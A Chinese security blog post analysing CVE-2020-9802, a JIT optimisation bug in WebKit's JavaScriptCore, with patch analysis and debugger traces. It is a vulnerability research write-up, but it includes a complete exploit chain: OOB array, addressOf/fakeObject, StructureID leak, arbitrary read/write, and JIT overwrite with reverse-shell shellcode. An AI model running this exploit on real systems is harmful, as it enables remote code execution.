CVE-2020-9802 JSC CSE漏洞分析
source link: https://www.anquanke.com/post/id/245946
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
0x00 前言
编译器优化中有一项CSE(公共子表达式消除),如果JS引擎在执行时类型收集的不正确,将导致表达式被错误的消除引发类型混淆。
0x01 前置知识
公共子表达式消除即为了去掉那些相同的重复计算,使用代数变换将表达式替换,并删除多余的表达式,如
let c = Math.sqrt(a*a + a*a);
将被优化为
let tmp = a*a;
let c = Math.sqrt(tmp + tmp);
这样就节省了一次乘法,现在我们来看下列代码
let c = o.a;
f();
let d = o.a;
由于在两个表达式之间多了一个f()函数的调用,而函数中很有可能改变.a的值或者类型,因此这两个公共子表达式不能直接消除,编译器会收集o.a的类型信息,并跟踪f函数,收集信息,如果到f分析完毕,o.a的类型也没有改变,那么let d = o.a;就可以不用再次检查o.a的类型。
在JSC中,CSE优化需要考虑的信息在Source/JavaScriptCore/dfg/DFGClobberize.h
中被定义,从文件路径可以知道,这是一个在DFG阶段的相关优化,文件中有一个clobberize
函数,
template<typename ReadFunctor, typename WriteFunctor, typename DefFunctor>
void clobberize(Graph& graph, Node* node, const ReadFunctor& read, const WriteFunctor& write, const DefFunctor& def)
{
.............................................
case CompareEqPtr:
def(PureValue(node, node->cellOperand()->cell()));
return;
..............................................
clobberize函数中的def
操作定义了CSE优化时需要考虑的因素,例如上面的def(PureValue(node, node->cellOperand()->cell()));
,如果要对CompareEqPtr
运算进行CSE优化,需要考虑的因素除了value本身的值,还需要的是Operand(操作数)的类型(cell)。
边界检查消除
与V8的checkbounds消除类似,当数组的下标分析确定在数组的大小范围之内,则可以消除边界检查,但如果编译器本身的检查方式出现溢出等问题,编译器认为idx在范围之内而实际则可能不在范围内,错误的消除边界检查将导致数组溢出。
为了研究JSC在什么条件下可以消除边界检查,我们使用如下代码进行测试调试
function foo(arr,idx) {
idx = idx | 0;
if (idx < arr.length) {
if (idx & 0x3) {
idx += -2;
}
if (idx >= 0) {
return arr[idx];
}
}
}
var arr = [1.1,2.2,3.3,4.4,5.5,6.6];
for (var i=0;i<0xd0000;i++) {
foo(arr,2);
}
debug(describe(arr));
print();
debug(foo(arr,0x3));
给print的函数断点用于中断脚本以进行调试b *printInternal
,运行时加上-p选项将优化时的数据输出为json,从json文件中,我们看到foo函数的字节码
[ 0] enter
[ 1] get_scope loc4
[ 3] mov loc5, loc4
[ 6] check_traps
[ 7] bitor arg2, arg2, Int32: 0(const0)
[ 12] get_by_id loc6, arg1, 0
[ 17] jnless arg2, loc6, 29(->46)
[ 21] bitand loc6, arg2, Int32: 3(const1)
[ 26] jfalse loc6, 9(->35)
[ 29] add arg2, arg2, Int32: -2(const2), OperandTypes(126, 3)
[ 35] jngreatereq arg2, Int32: 0(const0), 11(->46)
[ 39] get_by_val loc6, arg1, arg2
[ 44] ret loc6
[ 46] ret Undefined(const3)
其中[ 39] get_by_val loc6, arg1, arg2
用于从数组中取出数据,在DFG JIT时,其展开的汇编代码为
0x7fffaf101fa3: mov $0x7fffaef0bb48, %r11
0x7fffaf101fad: mov (%r11), %r11
0x7fffaf101fb0: test %r11, %r11
0x7fffaf101fb3: jz 0x7fffaf101fc0
0x7fffaf101fb9: mov $0x113, %r11d
0x7fffaf101fbf: int3
0x7fffaf101fc0: mov $0x7fffaef000dc, %r11
0x7fffaf101fca: mov $0x0, (%r11)
0x7fffaf101fce: cmp -0x8(%rdx), %esi
0x7fffaf101fd1: jae 0x7fffaf1024cb
0x7fffaf101fd7: movsd (%rdx,%rsi,8), %xmm0
0x7fffaf101fdc: ucomisd %xmm0, %xmm0
0x7fffaf101fe0: jp 0x7fffaf1024f2
0x7fffaf101fce: cmp -0x8(%rdx), %esi
0x7fffaf101fd1: jae 0x7fffaf1024cb
用于检查下标是否越界,可见DFG JIT阶段并不会去除边界检查,尽管我们在代码中使用了if语句将idx限定在了数组的长度范围之内。边界检查去除表现在FTL JIT的汇编代码中,从json文件中可以看到FTL JIT时,对字节码字节码[ 39] get_by_val loc6, arg1, arg2
的展开如下
D@86:<!0:-> ExitOK(MustGen, W:SideState, bc#39, ExitValid)
D@63:<!0:-> CountExecution(MustGen, 0x7fffac9cf140, R:InternalState, W:InternalState, bc#39, ExitValid)
D@66:<!2:-> GetByVal(KnownCell:Kill:D@14, Int32:Kill:D@10, Check:Untyped:Kill:D@68, Check:Untyped:D@10, Double|MustGen|VarArgs|UseAsOther, AnyIntAsDouble|NonIntAsDouble, Double+OriginalCopyOnWriteArray+InBounds+AsIs+Read, R:Butterfly_publicLength,IndexedDoubleProperties, Exits, bc#39, ExitValid) predicting NonIntAsDouble
D@85:<!0:-> KillStack(MustGen, loc6, W:Stack(loc6), ClobbersExit, bc#39, ExitInvalid)
D@67:<!0:-> MovHint(DoubleRep:D@66<Double>, MustGen, loc6, W:SideState, ClobbersExit, bc#39, ExitInvalid)
ValueRep(DoubleRep:Kill:D@66<Double>, JS|PureInt, BytecodeDouble, bc#39, exit: bc#44, ExitValid)
从中可以看到GetByVal
中传递的参数中含有InBounds
标记,那么其汇编代码中将不会检查下标是否越界,因为前面已经确定下标在范围内。为了查看FTL JIT生成的汇编代码,我们使用gdb调试,遇到print语句时会断点停下
此时,我们对butterfly
中对应的位置下一个硬件读断点,然后继续运行
pwndbg> rwatch *0x7ff803ee4018
Hardware read watchpoint 79: *0x7ff803ee4018
pwndbg> c
Continuing.
然后断点断下
0x7fffaf101b9c movabs r11, 0x7fffaef000dc
0x7fffaf101ba6 mov byte ptr [r11], 0
0x7fffaf101baa cmp esi, dword ptr [rdx - 8]
0x7fffaf101bad jae 0x7fffaf102071 <0x7fffaf102071>
0x7fffaf101bb3 movsd xmm0, qword ptr [rdx + rsi*8]
► 0x7fffaf101bb8 ucomisd xmm0, xmm0
0x7fffaf101bbc jp 0x7fffaf102098 <0x7fffaf102098>
我们发现这仍然存在cmp esi, dword ptr [rdx - 8]
检查了下标,这是由于FTL JIT
是延迟优化的,可能还没优化过来,我们按照前面的步骤重新试一下
0x7fffaf1039fa mov eax, 0xa
0x7fffaf103a00 mov rsp, rbp
0x7fffaf103a03 pop rbp
0x7fffaf103a04 ret
0x7fffaf103a05 movsd xmm0, qword ptr [rdx + rax*8]
► 0x7fffaf103a0a ucomisd xmm0, xmm0
0x7fffaf103a0e jp 0x7fffaf103aeb <0x7fffaf103aeb>
发现这次,边界检查被去除了,为了查看更多的代码片段,我们使用gdb的dump命令将这段代码dump出来用IDA分析
pwndbg> vmmap 0x7fffaf103a0a
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x7fffaf0ff000 0x7fffaf104000 rwxp 5000 0 +0x4a0a
pwndbg> dump memory ./2.bin 0x7fffaf0ff000 0x7fffaf104000
pwndbg>
可以看到语句
if (idx & 0x3) {
idx += -2;
}
执行完毕后,无需再一次检查idx < arr.length
,因为这是一个减法操作,正常情况下idx减去一个正数肯定会变小,小于arr.length,因此就去掉了边界检查。
0x02 漏洞分析利用
patch分析
diff --git a/Source/JavaScriptCore/dfg/DFGClobberize.h b/Source/JavaScriptCore/dfg/DFGClobberize.h
index b2318fe03aed41e0309587e7df90769cb04e3c49..5b34ec5bd8524c03b39a1b33ba2b2f64b3f563e1 100644 (file)
--- a/Source/JavaScriptCore/dfg/DFGClobberize.h
+++ b/Source/JavaScriptCore/dfg/DFGClobberize.h
@@ -228,7 +228,7 @@ void clobberize(Graph& graph, Node* node, const ReadFunctor& read, const WriteFu
case ArithAbs:
if (node->child1().useKind() == Int32Use || node->child1().useKind() == DoubleRepUse)
- def(PureValue(node));
+ def(PureValue(node, node->arithMode()));
else {
read(World);
write(Heap);
@@ -248,7 +248,7 @@ void clobberize(Graph& graph, Node* node, const ReadFunctor& read, const WriteFu
if (node->child1().useKind() == Int32Use
|| node->child1().useKind() == DoubleRepUse
|| node->child1().useKind() == Int52RepUse)
- def(PureValue(node));
+ def(PureValue(node, node->arithMode()));
else {
read(World);
write(Heap);
该patch修复了漏洞,从patch中可以知道,这原本是一个跟CSE优化有关的漏洞,patch中加入了node->arithMode()
参数,那么在CSE优化时,不仅要考虑操作数的值,还要考虑算术运算中出现的溢出等因素,即使最终的值一样,如果其中一个表达式是溢出的,也不能进行CSE优化。
POC构造
首先从patch可以知道,修改的内容分别在ArithAbs
和ArithNegate
分支,它们分别对应了JS中的Math.abs
和-
运算。
尝试构造如下代码
function foo(n) {
if (n < 0) {
let a = -n;
let b = Math.abs(n);
debug(b);
}
}
for (var i=0;i<0x30000;i++) {
foo(-2);
}
foo部分字节码如下
[ 17] negate loc7, arg1, 126
..........
[ 48] call loc6, loc8, 2, 18
分别代表了-n和Math.abs(n);,在DFG JIT阶段,其展开为如下
[ 17]
CountExecution
GetLocal
ArithNegate(Int32:D@39, Int32|PureInt, Int32, Unchecked, Exits, bc#17, ExitValid)
MovHint
[ 48]
CountExecution
FilterCallLinkStatus
ArithAbs(Int32:D@39, Int32|UseAsOther, Int32, CheckOverflow, Exits, bc#48, ExitValid)
Phantom
Phantom
MovHint
在FTL JIT阶段,代码变化如下
[ 17]
CountExecution
ArithNegate(Int32:Kill:D@76, Int32|PureInt, Int32, Unchecked, Exits, bc#17, ExitValid)
KillStack
ZombieHint
[ 48]
CountExecution
FilterCallLinkStatus
KillStack
ZombieHint
可以看到ArithAbs
被去除了,这就是漏洞所在,ArithAbs
与ArithNegate
的不同点在于,ArithNegate
不检查溢出,而ArithAbs
会检查溢出,因此对于0x80000000这个值,-0x80000000
值仍然为-0x80000000
,是一个32位数据,而Math.abs(-0x80000000)
将扩展位数,值为0x80000000
。显然编译器没有察觉到这一点,将ArithAbs
与ArithNegate
认为是公共子表达式,于是便可以进行互相替换。
因此构造的POC如下
function foo(n) {
if (n < 0) {
let a = -n;
let b = Math.abs(n);
debug(b);
}
}
for (var i=0;i<0xc0000;i++) {
foo(-2);
}
foo(-0x80000000);
程序输出如下
..............
--> 2
--> 2
--> 2
--> 2
--> 2
--> -2147483648
可以看到,这个值并不是Math.abs(-0x80000000)
的准确值。
OOB数组构造
利用边界检查消除来进行数组的溢出
function foo(arr,n) {
if (n < 0) {
let a = -n;
let idx = Math.abs(n);
if (idx < arr.length) { //确定在边界之内
if (idx & 0x80000000) { //对于0x80000000,我们减去一个数,以将idx变换到任意正值
idx += -0x7ffffffd;
}
if (idx >= 0) { //确定在边界之内
return arr[idx]; //溢出
}
}
}
}
var arr = [1.1,2.2,3.3];
for (var i=0;i<0xc0000;i++) {
foo(arr,-2);
}
debug(foo(arr,-0x80000000));
因为编译器的错误优化,idx是一个32位数,那么idx < arr.length
的检查通过,那么后续的return arr[idx]; //溢出
将不会检查右边界,因此可以溢出数据。通过测试,发现POC有时可以成功溢出,有时不能
root@ubuntu:~/Desktop/WebKit/WebKitBuild/Debug/bin# ./jsc poc.js
--> 1.5488838078e-314
root@ubuntu:~/Desktop/WebKit/WebKitBuild/Debug/bin# ./jsc poc.js
--> undefined
这是因为漏洞最终发生在FTL JIT
,这个是延迟优化的,可能在执行最后的debug(foo(arr,-0x80000000));
还没生成好JIT代码,因此具有微小的随机性,不影响漏洞利用。为了查看FTL JIT的汇编代码,我们使用前面介绍的方法,对arr的butterfly
下硬件断点,然后停下时将代码片段dump出来
seg000:00007FFFAF10346F mov ecx, eax
seg000:00007FFFAF103471 neg ecx
seg000:00007FFFAF103473 mov rdx, [rdx+8]
seg000:00007FFFAF103477 cmp ecx, [rdx-8]
seg000:00007FFFAF10347A jl loc_7FFFAF103496
seg000:00007FFFAF103480 mov dword ptr [rsi+737C1Ch], 1
seg000:00007FFFAF10348A mov rax, 0Ah
seg000:00007FFFAF103491 mov rsp, rbp
seg000:00007FFFAF103494 pop rbp
seg000:00007FFFAF103495 retn
seg000:00007FFFAF103496 ; ---------------------------------------------------------------------------
seg000:00007FFFAF103496
seg000:00007FFFAF103496 loc_7FFFAF103496: ; CODE XREF: seg000:00007FFFAF10347A↑j
seg000:00007FFFAF103496 test ecx, 80000000h
seg000:00007FFFAF10349C jnz loc_7FFFAF1034E8
seg000:00007FFFAF1034A2 test ecx, ecx
seg000:00007FFFAF1034A4 jns loc_7FFFAF1034C0
................
seg000:00007FFFAF1034E8 loc_7FFFAF1034E8: ; CODE XREF: seg000:00007FFFAF10349C↑j
seg000:00007FFFAF1034E8 mov rcx, 0FFFFFFFF80000003h
seg000:00007FFFAF1034EF sub ecx, eax
seg000:00007FFFAF1034F1 test ecx, ecx
seg000:00007FFFAF1034F3 jns loc_7FFFAF1034C0
seg000:00007FFFAF1034F9 jmp loc_7FFFAF1034AA
................
seg000:00007FFFAF1034C0 loc_7FFFAF1034C0: ; CODE XREF: seg000:00007FFFAF1034A4↑j
seg000:00007FFFAF1034C0 ; seg000:00007FFFAF1034F3↓j
seg000:00007FFFAF1034C0 mov eax, ecx
seg000:00007FFFAF1034C2 movsd xmm0, qword ptr [rdx+rax*8]
seg000:00007FFFAF1034C7 ucomisd xmm0, xmm0
seg000:00007FFFAF1034CB jp loc_7FFFAF1035A8
seg000:00007FFFAF1034D1 movq rax, xmm0
seg000:00007FFFAF1034D6 sub rax, rdi
seg000:00007FFFAF1034D9 mov dword ptr [rsi+737C1Ch], 1
seg000:00007FFFAF1034E3 mov rsp, rbp
seg000:00007FFFAF1034E6 pop rbp
seg000:00007FFFAF1034E7 retn
从中可以看出,上述汇编代码正好印证了我们前面的分析,neg ecx
代表了Math.abs()
,然后cmp ecx, [rdx-8]
比较右边界,但由于ecx是32位,0x80000000比较通过,然后
seg000:00007FFFAF1034E8 mov rcx, 0FFFFFFFF80000003h
seg000:00007FFFAF1034EF sub ecx, eax
使得ecx为3,最后通过
seg000:00007FFFAF1034C0 mov eax, ecx
seg000:00007FFFAF1034C2 movsd xmm0, qword ptr [rdx+rax*8]
进行数组溢出读取数据。那么我们可以用同样的方法,越界写改写下一个数组对象butterfly
中的length
和capacity
,从而构造一个oob的数组对象。首先要在内存上布局三个相邻的数组对象
arr0 ArrayWithDouble,
arr1 ArrayWithDouble,
arr2 ArrayWithContiguous,
通过arr0溢出改写arr1的length
和capacity
,即可将arr1构造为oob的数组
var arr = [1.1,2.2,3.3];
var oob_arr= [2.2,3.3,4.4];
var obj_arr = [{},{},{}];
debug(describe(arr));
debug(describe(oob_arr));
debug(describe(obj_arr));
print();
发现三个数组的butterfly
不相邻,并且类型不大对
--> Object: 0x7fffef1a83e8 with butterfly 0x7fe00cee4010 (Structure 0x7fffae7f99e0:[0xee79, Array, {}, CopyOnWriteArrayWithDouble, Proto:0x7fffef1bc2e8, Leaf]), StructureID: 61049
--> Object: 0x7fffef1a8468 with butterfly 0x7fe00cee4040 (Structure 0x7fffae7f99e0:[0xee79, Array, {}, CopyOnWriteArrayWithDouble, Proto:0x7fffef1bc2e8, Leaf]), StructureID: 61049
--> Object: 0x7fffef1a84e8 with butterfly 0x7fe00cefda48 (Structure 0x7fffae7f9860:[0xe077, Array, {}, ArrayWithContiguous, Proto:0x7fffef1bc2e8]), StructureID: 57463
前两个类型为CopyOnWriteArrayWithDouble
,导致它们与arr2的butterfly
不相邻,于是尝试这样构造
let noCow = 13.37;
var arr = [noCow,2.2,3.3];
var oob_arr = [noCow,2.2,3.3];
var obj_arr = [{},{},{}];
debug(describe(arr));
debug(describe(oob_arr));
debug(describe(obj_arr));
print();
--> Object: 0x7fffef1a6168 with butterfly 0x7fe01e4fda48 (Structure 0x7fffae7f9800:[0xcd04, Array, {}, ArrayWithDouble, Proto:0x7fffef1bc2e8, Leaf]), StructureID: 52484
--> Object: 0x7fffef1a61e8 with butterfly 0x7fe01e4fda68 (Structure 0x7fffae7f9800:[0xcd04, Array, {}, ArrayWithDouble, Proto:0x7fffef1bc2e8, Leaf]), StructureID: 52484
--> Object: 0x7fffef1a6268 with butterfly 0x7fe01e4fda88 (Structure 0x7fffae7f9860:[0x5994, Array, {}, ArrayWithContiguous, Proto:0x7fffef1bc2e8]), StructureID: 22932
这回就相邻了,然后我们利用前面的漏洞构造oob数组
function foo(arr,n) {
if (n < 0) {
let a = -n;
let idx = Math.abs(n);
if (idx < arr.length) { //确定在边界之内
if (idx & 0x80000000) { //对于0x80000000,我们减去一个数,以将idx变换到任意正值
idx += -0x7ffffffd;
}
if (idx >= 0) { //确定在边界之内
arr[idx] = 1.04380972981885e-310; //溢出
}
}
}
}
let noCow = 13.37;
var arr = [noCow,2.2,3.3];
var oob_arr = [noCow,2.2,3.3];
var obj_arr = [{},{},{}];
for (var i=0;i<0xc0000;i++) {
foo(arr,-2);
}
foo(arr,-0x80000000);
debug(oob_arr.length);
输出如下,需要多次尝试,原因前面说过
root@ubuntu:~/Desktop/WebKit/WebKitBuild/Debug/bin# ./jsc poc.js
--> 3
root@ubuntu:~/Desktop/WebKit/WebKitBuild/Debug/bin# ./jsc poc.js
--> 3
root@ubuntu:~/Desktop/WebKit/WebKitBuild/Debug/bin# ./jsc poc.js
--> 3
root@ubuntu:~/Desktop/WebKit/WebKitBuild/Debug/bin# ./jsc poc.js
--> 4919
利用oob_arr和obj_arr即可轻松构造出addressOf和fakeObject原语
泄露StructureID
getByVal
在新版的JSC中,加入了StructureID随机化机制,使得我们前面介绍的喷射对象,并猜测StructureID的方法变得困难,成功率极大降低。因此需要使用其他方法,一种方法是利用getByVal
,
static ALWAYS_INLINE JSValue getByVal(VM& vm, JSGlobalObject* globalObject, CodeBlock* codeBlock, JSValue baseValue, JSValue subscript, OpGetByVal bytecode)
{
..............................
if (subscript.isUInt32()) {
.......................
} else if (baseValue.isObject()) {
JSObject* object = asObject(baseValue);
if (object->canGetIndexQuickly(i))
return object->getIndexQuickly(i);
其中canGetIndexQuickly
源码如下
bool canGetIndexQuickly(unsigned i) const
{
const Butterfly* butterfly = this->butterfly();
switch (indexingType()) {
...............
case ALL_DOUBLE_INDEXING_TYPES: {
if (i >= butterfly->vectorLength())
return false;
double value = butterfly->contiguousDouble().at(this, i);
if (value != value)
return false;
return true;
}
............
}
getIndexQuickly代码如下
JSValue getIndexQuickly(unsigned i) const
{
.............
case ALL_DOUBLE_INDEXING_TYPES:
return JSValue(JSValue::EncodeAsDouble, butterfly->contiguousDouble().at(this, i));
...............
}
}
从上面可以知道getIndexQuickly
这条路径不会使用到StructureID,那么如何触发getByVal
呢?经过测试,发现对不是数组类型
的对象,使用[]
运算符可以触发到getByVal
var a = {x:1};
var b = a[0];
debug(b);
print();
因此,我们可以尝试构造一个假的StructureID,使得它匹配StructureID时发现不是数组类型,就可以调用到getByVal
var arr_leak = new Array(noCow,2.2,3.3);
function leak_structureID(obj) {
let jscell_double = p64f(0x00000000,0x01062307);
let container = {
jscell:jscell_double,
butterfly:obj
}
let container_addr = addressOf(container);
let hax = fakeObject(container_addr[0]+0x10,container_addr[1]);
f64[0] = hax[0];
let structureID = u32[0];
//修复JSCell
u32[1] = 0x01082307 - 0x20000;
container.jscell = f64[0];;
return structureID;
}
var structureID = leak_structureID(arr_leak);
debug(structureID);
print();
调试如下
baseValue.isObject()判断通过,将进入分支
► 962 } else if (baseValue.isObject()) {
963 JSObject* object = asObject(baseValue);
964 if (object->canGetIndexQuickly(i))
965 return object->getIndexQuickly(i);
966
967 bool skipMarkingOutOfBounds = false;
pwndbg> p baseValue.isObject()
$3 = true
接下来,我们跟踪进入canGetIndexQuickly
函数
In file: /home/sea/Desktop/WebKit/Source/JavaScriptCore/runtime/JSObject.h
272 return false;
273 case ALL_INT32_INDEXING_TYPES:
274 case ALL_CONTIGUOUS_INDEXING_TYPES:
275 return i < butterfly->vectorLength() && butterfly->contiguous().at(this, i);
276 case ALL_DOUBLE_INDEXING_TYPES: {
► 277 if (i >= butterfly->vectorLength())
278 return false;
279 double value = butterfly->contiguousDouble().at(this, i);
280 if (value != value)
281 return false;
282 return true;
pwndbg> p butterfly->vectorLength()
$11 = 32767
这里获取了容量,如果i在长度范围之内,则返回true,即可成功取得数据。由于这里我们是将arr_leak
这个对象当成了butterfly
,因此容量也就是&arr_leak-0x4处的数据,即
pwndbg> x /2wx 0x7fffef1613e8-0x8
0x7fffef1613e0: 0xef1561a0 0x00007fff
与32767对应上了。由此我们看出,这种方法的条件是&arr_leak-0x4处的数据要大于0即可
,因此可以在内存布局的时候在arr_leak
前面布置一个数组并用数据填充。如果不在前面布局一个数组用于填充,则利用程序将受到随机化的影响而不稳定。
Function.prototype.toString.call
另一个方法是通过toString() 函数的调用链来实现任意地址读数据,主要就是伪造调用链中的结构,最终使得identifier
指向需要泄露的地址处,然后使用Function.prototype.toString.call
获得任意地址处的数据,可参考文章
function leak_structureID2(obj) {
// https://i.blackhat.com/eu-19/Thursday/eu-19-Wang-Thinking-Outside-The-JIT-Compiler-Understanding-And-Bypassing-StructureID-Randomization-With-Generic-And-Old-School-Methods.pdf
var unlinkedFunctionExecutable = {
m_isBuitinFunction: i2f(0xdeadbeef),
pad1: 1, pad2: 2, pad3: 3, pad4: 4, pad5: 5, pad6: 6,
m_identifier: {},
};
var fakeFunctionExecutable = {
pad0: 0, pad1: 1, pad2: 2, pad3: 3, pad4: 4, pad5: 5, pad6: 6, pad7: 7, pad8: 8,
m_executable: unlinkedFunctionExecutable,
};
var container = {
jscell: i2f(0x00001a0000000000),
butterfly: {},
pad: 0,
m_functionExecutable: fakeFunctionExecutable,
};
let fakeObjAddr = addressOf(container);
let fakeObj = fakeObject(fakeObjAddr[0] + 0x10,fakeObjAddr[1]);
unlinkedFunctionExecutable.m_identifier = fakeObj;
container.butterfly = obj;
var nameStr = Function.prototype.toString.call(fakeObj);
let structureID = nameStr.charCodeAt(9);
// repair the fakeObj's jscell
u32[0] = structureID;
u32[1] = 0x01082309-0x20000;
container.jscell = f64[0];
return structureID;
}
任意地址读写原语
在泄露了StructureID以后,就可以伪造数组对象进行任意地址读写了
var structureID = leak_structureID2(arr_leak);
u32[0] = structureID;
u32[1] = 0x01082309-0x20000;
//debug(describe(arr_leak));
debug('[+] structureID=' + structureID);
var victim = [1.1,2.2,3.3];
victim['prop'] = 23.33;
var container = {
jscell:f64[0],
butterfly:victim
}
var container_addr = addressOf(container);
var hax = fakeObject(container_addr[0]+0x10,container_addr[1]);
var padding = [1.1,2.2,3.3,4.4];
var unboxed = [noCow,2.2,3.3];
var boxed = [{}];
/*debug(describe(unboxed));
debug(describe(boxed));
debug(describe(victim));
debug(describe(hax));
*/
hax[1] = unboxed;
var sharedButterfly = victim[1];
hax[1] = boxed;
victim[1] = sharedButterfly;
function NewAddressOf(obj) {
boxed[0] = obj;
return u64f(unboxed[0]);
}
function NewFakeObject(addr_l,addr_h) {
var addr = p64f(addr_l,addr_h);
unboxed[0] = addr;
return boxed[0];
}
function read64(addr_l,addr_h) {
//必须保证在vicim[-1]处有数据,即used slots和max slots字段,否则将导致读取失败
//因此我们换用另一种方法,即利用property去访问
hax[1] = NewFakeObject(addr_l + 0x10,addr_h);
return NewAddressOf(victim.prop);
}
function write64(addr_l,addr_h,double_val) {
hax[1] = NewFakeObject(addr_l + 0x10,addr_h);
victim.prop = double_val;
}
劫持JIT编译的代码
var shellcodeFunc = getJITFunction();
shellcodeFunc();
var shellcodeFunc_addr = NewAddressOf(shellcodeFunc);
var executable_base_addr = read64(shellcodeFunc_addr[0] + 0x18,shellcodeFunc_addr[1]);
var jit_code_addr = read64(executable_base_addr[0] + 0x8,executable_base_addr[1]);
var rwx_addr = read64(jit_code_addr[0] + 0x20,jit_code_addr[1]);
debug("[+] shellcodeFunc_addr=" + shellcodeFunc_addr[1].toString(16) + shellcodeFunc_addr[0].toString(16));
debug("[+] executable_base_addr=" + executable_base_addr[1].toString(16) + executable_base_addr[0].toString(16));
debug("[+] jit_code_addr=" + jit_code_addr[1].toString(16) + jit_code_addr[0].toString(16));
debug("[+] rwx_addr=" + rwx_addr[1].toString(16) + rwx_addr[0].toString(16));
const shellcode = [
0x31, 0xD2, 0x31, 0xF6, 0x40, 0xB6, 0x01, 0x31, 0xFF, 0x40, 0xB7, 0x02, 0x31, 0xC0, 0xB0, 0x29,
0x0F, 0x05, 0x89, 0x44, 0x24, 0xF8, 0x89, 0xC7, 0x48, 0xB8, 0x02, 0x00, 0x09, 0x1D, 0x7F, 0x00,
0x00, 0x01, 0x48, 0x89, 0x04, 0x24, 0x48, 0x89, 0xE6, 0xB2, 0x10, 0x48, 0x31, 0xC0, 0xB0, 0x2A,
0x0F, 0x05, 0x8B, 0x7C, 0x24, 0xF8, 0x31, 0xF6, 0xB0, 0x21, 0x0F, 0x05, 0x40, 0xB6, 0x01, 0x8B,
0x7C, 0x24, 0xF8, 0xB0, 0x21, 0x0F, 0x05, 0x40, 0xB6, 0x02, 0x8B, 0x7C, 0x24, 0xF8, 0xB0, 0x21,
0x0F, 0x05, 0x48, 0xB8, 0x2F, 0x62, 0x69, 0x6E, 0x2F, 0x73, 0x68, 0x00, 0x48, 0x89, 0x44, 0x24,
0xF0, 0x48, 0x31, 0xF6, 0x48, 0x31, 0xD2, 0x48, 0x8D, 0x7C, 0x24, 0xF0, 0x48, 0x31, 0xC0, 0xB0,
0x3B, 0x0F, 0x05
];
function ByteToDwordArray(payload)
{
let sc = []
let tmp = 0;
let len = Math.ceil(payload.length/6)
for (let i = 0; i < len; i += 1) {
tmp = 0;
pow = 1;
for(let j=0; j<6; j++){
let c = payload[i*6+j]
if(c === undefined) {
c = 0;
}
pow = j==0 ? 1 : 256 * pow;
tmp += c * pow;
}
tmp += 0xc000000000000;
sc.push(tmp);
}
return sc;
}
//debug(describe(shellcodeFunc));
//debug(shellcode.length);
//替换jit的shellcode
let sc = ByteToDwordArray(shellcode);
for(let i=0; i<sc.length; i++) {
write64(rwx_addr[0] + i*6,rwx_addr[1],i2f(sc[i]));
}
debug("trigger shellcode")
//执行shellcode
print();
shellcodeFunc();
print();
这里,我们使用ByteToDwordArray
将shellcode转为6字节有效数据每个的数组,这样是为了在write64时能一次写入6个有效数据,减少for(let i=0; i<sc.length; i++)
的次数,避免write64
被JIT编译,否则会报错崩溃,原因是因为我们伪造的对象未通过编译时的某些检查,但这不影响我们漏洞利用。
结果展示
0x03 感想
通过本次研究学习,理解了JSC的边界检查消除机制,同时也对JSC中的CSE有了一些了解,其与V8之间也非常的相似。
0x04 参考
FireShell2020——从一道ctf题入门jsc利用
WebKit Commitdiff
eu-19-Wang-Thinking-Outside-The-JIT-Compiler-Understanding-And-Bypassing-StructureID-Randomization-With-Generic-And-Old-School-Methods
JITSploitation I:JIT编译器漏洞分析
Project Zero: JITSploitation I: A JIT Bug
Recommend
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK